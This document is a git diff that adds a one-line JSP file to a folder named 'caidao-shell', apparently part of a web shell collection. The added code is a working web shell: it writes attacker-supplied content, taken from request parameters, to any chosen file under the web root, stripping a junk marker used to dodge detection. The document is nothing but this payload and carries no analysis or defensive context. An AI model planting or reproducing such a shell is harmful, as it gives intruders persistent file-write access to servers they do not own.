diff --git a/caidao-shell/w03.jsp b/caidao-shell/w03.jsp
new file mode 100644
index 0000000..4706441
--- /dev/null
+++ b/caidao-shell/w03.jsp
@@ -0,0 +1 @@
+<%new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f")).write(request.getParameter("t").replace("testtesttest","").getBytes());%>